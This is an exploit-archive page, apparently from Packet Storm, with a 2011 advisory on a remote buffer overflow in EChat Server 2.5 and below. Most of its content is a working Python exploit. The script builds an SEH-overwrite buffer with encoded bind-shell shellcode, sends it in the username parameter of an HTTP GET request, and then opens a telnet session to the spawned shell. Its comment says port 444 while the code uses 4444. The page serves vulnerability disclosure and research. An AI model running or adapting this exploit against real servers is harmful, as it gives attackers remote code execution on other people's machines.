Twenty Year Anniversary

EChat Server 2.5 Buffer Overflow

EChat Server 2.5 Buffer Overflow
Posted Aug 13, 2011
Authored by Juan Sacco

EChat Server versions 2.5 and below remote buffer overflow exploit.

tags | exploit, remote, overflow
MD5 | fbbfbb5945416c20367ff391b0060238

EChat Server 2.5 Buffer Overflow

Change Mirror Download
Information
--------------------
Name : EChat Server <= v2.5
Software : E Chat Server
Vendor Homepage : http://www.echatserver.com/
Vulnerability Type : Remote Buffer Overflow Exploit
Severity : High
Researcher : Juan Sacco (Runlvl) <jsacco [at] insecurityresearch [dot] com>

Description
------------------

EChat Server is prone to a remote buffer-overflow vulnerability
because it fails to perform adequate boundary-checks on user-supplied
data.
Successfully exploiting this issue will allow an attacker to execute
arbitrary code within the context of the affected application. Failed
exploit attempts will result in a denial-of-service condition.


Exploit example as follow
-----------------------------

#!/usr/bin/python
# Easy Chat Server Server <= v2.5 Remote Buffer Overflow Exploit
# Written by Juan Sacco (Runlvl)
# Contact: jsacco@insecurityresearch.com
# Web site: http://www.insecurityresearch.com
# Target tested: Windows XP SP3

import string, sys
import socket, httplib
import telnetlib

def howtousage():
print "Sorry, required arguments: Host Port"
sys.exit(-1)

def run():
try:
# Basic structure: JUNK + NSEH + SEH + SHELLCODE
Junk = '\x41' * 216 # 216 bytes of A
nSEH = '\xEB\x06\x90\x90' # JMP 6 bytes short
SEH = '\xE1\xB2\x01\x10' # 0x1001b2e1 pop edi; pop esi; ret

# ShellCode Bind TCP PORT 444 Lenght 751 Encode : Alpha Upper
ShellCode = (
"\x89\xe1\xd9\xed\xd9\x71\xf4\x5f\x57\x59\x49\x49\x49\x49\x43"
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34"
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"
"\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x5a\x48\x4b\x39\x43\x30"
"\x45\x50\x45\x50\x43\x50\x4c\x49\x4b\x55\x50\x31\x4e\x32\x45"
"\x34\x4c\x4b\x50\x52\x50\x30\x4c\x4b\x56\x32\x54\x4c\x4c\x4b"
"\x50\x52\x52\x34\x4c\x4b\x54\x32\x47\x58\x54\x4f\x4e\x57\x51"
"\x5a\x56\x46\x50\x31\x4b\x4f\x50\x31\x4f\x30\x4e\x4c\x47\x4c"
"\x45\x31\x43\x4c\x43\x32\x56\x4c\x47\x50\x4f\x31\x58\x4f\x54"
"\x4d\x45\x51\x58\x47\x5a\x42\x4c\x30\x51\x42\x56\x37\x4c\x4b"
"\x56\x32\x52\x30\x4c\x4b\x50\x42\x47\x4c\x45\x51\x58\x50\x4c"
"\x4b\x47\x30\x54\x38\x4d\x55\x49\x50\x52\x54\x51\x5a\x45\x51"
"\x4e\x30\x56\x30\x4c\x4b\x50\x48\x54\x58\x4c\x4b\x56\x38\x51"
"\x30\x45\x51\x58\x53\x5a\x43\x47\x4c\x51\x59\x4c\x4b\x56\x54"
"\x4c\x4b\x45\x51\x49\x46\x50\x31\x4b\x4f\x50\x31\x49\x50\x4e"
"\x4c\x49\x51\x58\x4f\x54\x4d\x45\x51\x58\x47\x56\x58\x4d\x30"
"\x54\x35\x5a\x54\x54\x43\x43\x4d\x4b\x48\x47\x4b\x43\x4d\x47"
"\x54\x52\x55\x4d\x32\x50\x58\x4c\x4b\x51\x48\x51\x34\x43\x31"
"\x4e\x33\x43\x56\x4c\x4b\x54\x4c\x50\x4b\x4c\x4b\x56\x38\x45"
"\x4c\x45\x51\x58\x53\x4c\x4b\x43\x34\x4c\x4b\x45\x51\x4e\x30"
"\x4c\x49\x50\x44\x56\x44\x56\x44\x51\x4b\x51\x4b\x45\x31\x51"
"\x49\x50\x5a\x50\x51\x4b\x4f\x4d\x30\x56\x38\x51\x4f\x50\x5a"
"\x4c\x4b\x54\x52\x5a\x4b\x4b\x36\x51\x4d\x52\x48\x56\x53\x47"
"\x42\x43\x30\x45\x50\x43\x58\x43\x47\x43\x43\x47\x42\x51\x4f"
"\x56\x34\x52\x48\x50\x4c\x52\x57\x56\x46\x45\x57\x4b\x4f\x4e"
"\x35\x4e\x58\x5a\x30\x45\x51\x43\x30\x45\x50\x51\x39\x4f\x34"
"\x51\x44\x56\x30\x52\x48\x51\x39\x4d\x50\x52\x4b\x45\x50\x4b"
"\x4f\x4e\x35\x56\x30\x56\x30\x50\x50\x50\x50\x47\x30\x50\x50"
"\x47\x30\x50\x50\x52\x48\x5a\x4a\x54\x4f\x49\x4f\x4d\x30\x4b"
"\x4f\x49\x45\x4d\x59\x58\x47\x50\x31\x49\x4b\x56\x33\x52\x48"
"\x43\x32\x43\x30\x54\x51\x51\x4c\x4b\x39\x4d\x36\x43\x5a\x54"
"\x50\x56\x36\x50\x57\x52\x48\x49\x52\x49\x4b\x56\x57\x43\x57"
"\x4b\x4f\x58\x55\x50\x53\x56\x37\x52\x48\x4f\x47\x4b\x59\x50"
"\x38\x4b\x4f\x4b\x4f\x49\x45\x51\x43\x51\x43\x51\x47\x43\x58"
"\x43\x44\x5a\x4c\x47\x4b\x4b\x51\x4b\x4f\x49\x45\x51\x47\x4c"
"\x49\x4f\x37\x52\x48\x52\x55\x52\x4e\x50\x4d\x45\x31\x4b\x4f"
"\x4e\x35\x45\x38\x45\x33\x52\x4d\x45\x34\x45\x50\x4c\x49\x5a"
"\x43\x51\x47\x51\x47\x51\x47\x50\x31\x5a\x56\x52\x4a\x45\x42"
"\x51\x49\x56\x36\x4d\x32\x4b\x4d\x45\x36\x4f\x37\x51\x54\x51"
"\x34\x47\x4c\x43\x31\x43\x31\x4c\x4d\x47\x34\x56\x44\x54\x50"
"\x49\x56\x45\x50\x51\x54\x51\x44\x50\x50\x50\x56\x56\x36\x56"
"\x36\x47\x36\x51\x46\x50\x4e\x51\x46\x50\x56\x56\x33\x51\x46"
"\x43\x58\x52\x59\x58\x4c\x47\x4f\x4c\x46\x4b\x4f\x58\x55\x4c"
"\x49\x4b\x50\x50\x4e\x51\x46\x47\x36\x4b\x4f\x56\x50\x45\x38"
"\x54\x48\x4d\x57\x45\x4d\x43\x50\x4b\x4f\x49\x45\x4f\x4b\x4b"
"\x4e\x54\x4e\x50\x32\x4b\x5a\x52\x48\x4e\x46\x4c\x55\x4f\x4d"
"\x4d\x4d\x4b\x4f\x4e\x35\x47\x4c\x54\x46\x43\x4c\x45\x5a\x4b"
"\x30\x4b\x4b\x4b\x50\x54\x35\x43\x35\x4f\x4b\x47\x37\x45\x43"
"\x52\x52\x52\x4f\x43\x5a\x45\x50\x51\x43\x4b\x4f\x4e\x35\x41"
"\x41")
ShellCodePort = 4444
CraftedBuffer = Junk + nSEH + SEH + ShellCode
vulnerableURL = '/chat.ghp?username=' + CraftedBuffer +
'&password=null&room=1&null=2'

Connection = httplib.HTTPConnection(Host, Port)
Connection.request('GET', vulnerableURL)
Connection.close()

print "Connecting to " + Host
TelnetConnection = telnetlib.Telnet(Host, ShellCodePort)
TelnetConnection.interact()

except:
print "Exploit connection closed"

if __name__ == '__main__':
print "Exploit EChat Server <= v2.5 Remote Buffer Overflow Exploit"
print "Author: Juan Sacco (Runlvl)"

try:
Host = sys.argv[1]
Port = sys.argv[2]
except IndexError:
howtousage()
run()


Author
-------------------
Juan Sacco (Runlvl) - http://www.insecurityresearch.com

--
_________________________________________________
Insecurity Research - Security auditing and testing software
Web: http://www.insecurityresearch.com
Insect Pro 2.6.1 was released stay tunned

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

August 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    19 Files
  • 2
    Aug 2nd
    17 Files
  • 3
    Aug 3rd
    16 Files
  • 4
    Aug 4th
    1 Files
  • 5
    Aug 5th
    1 Files
  • 6
    Aug 6th
    19 Files
  • 7
    Aug 7th
    15 Files
  • 8
    Aug 8th
    9 Files
  • 9
    Aug 9th
    7 Files
  • 10
    Aug 10th
    10 Files
  • 11
    Aug 11th
    1 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    14 Files
  • 14
    Aug 14th
    18 Files
  • 15
    Aug 15th
    38 Files
  • 16
    Aug 16th
    16 Files
  • 17
    Aug 17th
    22 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close